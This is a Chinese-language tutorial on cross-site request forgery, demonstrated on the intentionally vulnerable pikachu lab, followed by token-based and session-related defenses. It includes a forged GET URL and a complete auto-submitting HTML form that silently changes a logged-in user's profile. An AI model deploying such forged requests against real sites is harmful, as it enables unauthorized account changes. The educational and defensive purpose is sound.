web安全从入门到“放弃”之CSRF跨站请求伪造

概述

Cross Site Request Forgery简称“CSRF”，中文名为跨站请求伪造。在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接)，然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击也就完成了。所以CSRF攻击也被称为"one click"攻击。很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。

如何确认一个web系统存在CSRF漏洞：

1.对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造

　　****比如修改管理员账号时，并不需要验证旧密码,导致请求容易被伪造;

　　****比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;

2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)

　　****虽然退出或者关闭了浏览器,但cookie仍然有效 ,或者session并没有及时过期 ,导致CSRF攻击变的简单;

接下来在pikachu平台进行实验演示！

CSRF(get)

打开pikachu平台，点击CSRF页面右上角的提示，显示有几个用户，密码都是123456，选择其中一个进行实验

登录成功后会进入个人中心，点击修改个人信息

修改其中的信息，然后提交

这时候打开bp工具，会发现bp抓取到了刚刚提交的get请求

把bp抓取到的get请求复制下来，修改里面的信息,get修改为代理服务器的IP，add从beijing修改为了shanghai

127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=1008611&add=shanghai&email=pikachu123%40qq.com&submit=submit HTTP/1.1

这是之前修改后的个人信息

接下来把bp抓取到的get请求放到浏览器的URL中然后回车

会发现之前的地址被修改了，这就相当于攻击者伪造成一个链接，然后发送给目标用户，当用户访问这个链接时，会向攻击者发送一个请求，因为这个请求中的信息已经被修改过了，所以用户访问后他的个人信息也被修改了。

返回到之前登录的页面点击刷新，发现个人信息已经被修改过了

CSRF(post)

在CSRF(post)页面修改个人信息后，打开bp工具，可以看到post型的所有参数都是在请求体中提交的，并不能像get型一样通过伪造URL的方式进行攻击。

CSEF(post)攻击的方式其实和XSS(post)型的攻击方式是一样的，攻击者通过搭建一个站点发送给目标用户，当目标访问时，就会自动的向后台发送请求修改个人信息。

编写一个post.html文件，把文件发到相应的地址

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="China" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

攻击者把站点链接发给目标用户，当用户点击访问时，他的个人信息就被修改了

http://127.0.0.1/pikachu/vul/csrf/post.html

访问后个人信息被修改

哪怕用户修改个人信息，只要攻击者在搭建的站点页面点击刷新，也会获取相同的修改后的信息

CSRF(token)防范措施

CSRF的主要问题是敏感操作容易被伪造，可以加通过加入Token让请求不容易被伪造

　　***即每次都增加一个随机码（需要够随机，不容易被伪造），后台每次对这个随机码进行验证！

在CSRF(token)页面登录，修改个人信息

打开bp工具，查看抓取到的请求，可以看到抓取到的get请求里多了一个token，由于token是随机的，而且每次提交token时后台都会对token进行验证，这也就让攻击者无法通过伪造URL来获取到用户的信息

回到页面查看前端的代码。按F12，可以看到有个token，这个token是后端发过来的。每当用户修改个人信息后点击提交时，也会同时把这个token发送给后端进行验证，只有相等时，才能提交信息，这个token就能有效的防止CSRF漏洞。

CSRF防范措施

增加Token验证(常用做法)：

对关键操作增加token参数，token值必须随机，每次都不一样;

关于安全的会话管理(避免会话被利用) :

不要在客户端端保存敏感信息(比如身份认证信息) ;
测试直接关闭，退出时,关闭浏览器的会话过期机制;
设置会话过期机制,比如15分钟内无操作，则自动登录超时;

访问控制安全管理:

敏感信息的修改时需要对身份进行二次认证，比如修改账号时，需要判断旧密码;
敏感信息的修改使用post，而不是get ;
通过http头部中的referer来限制原页面；

增加验证码:
一般用在登录(防暴力破解) , 也可以用在其他重要信息操作的表单中(需要考虑可用性)；